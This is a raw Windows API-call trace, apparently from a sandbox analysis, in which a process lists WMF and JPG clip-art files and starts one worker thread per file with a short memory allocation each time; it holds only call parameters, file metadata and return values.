	[0242.038] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1
	[0242.038] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e3c
	[0242.042] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.043] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1
	[0242.043] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e40
	[0242.045] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.045] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1
	[0242.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e44
	[0242.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.048] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1
	[0242.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e48
	[0242.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.109] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1
	[0242.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4c
	[0242.112] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.112] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1
	[0242.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e50
	[0242.114] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.115] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1
	[0242.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e54
	[0242.117] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.118] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1
	[0242.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e58
	[0242.120] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.121] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1
	[0242.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e5c
	[0242.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.124] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1
	[0242.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e60
	[0242.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.126] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1
	[0242.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e64
	[0242.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.129] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1
	[0242.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e68
	[0242.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.132] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1
	[0242.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e6c
	[0242.134] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.134] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1
	[0242.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e70
	[0242.137] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.137] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1
	[0242.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e74
	[0242.140] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.141] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1
	[0242.199] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e78
	[0242.202] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.203] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1
	[0242.203] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e7c
	[0242.205] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.205] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1
	[0242.205] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e80
	[0242.208] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.208] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1
	[0242.208] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e84
	[0242.210] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.211] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1
	[0242.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e88
	[0242.213] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.213] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1
	[0242.214] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8c
	[0242.215] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.216] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1
	[0242.216] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e90
	[0242.218] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.219] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1
	[0242.219] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e94
	[0242.221] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.222] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1
	[0242.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e98
	[0242.224] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.224] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1
	[0242.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e9c
	[0242.227] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.227] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1
	[0242.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea0
	[0242.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.230] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1
	[0242.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea4
	[0242.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
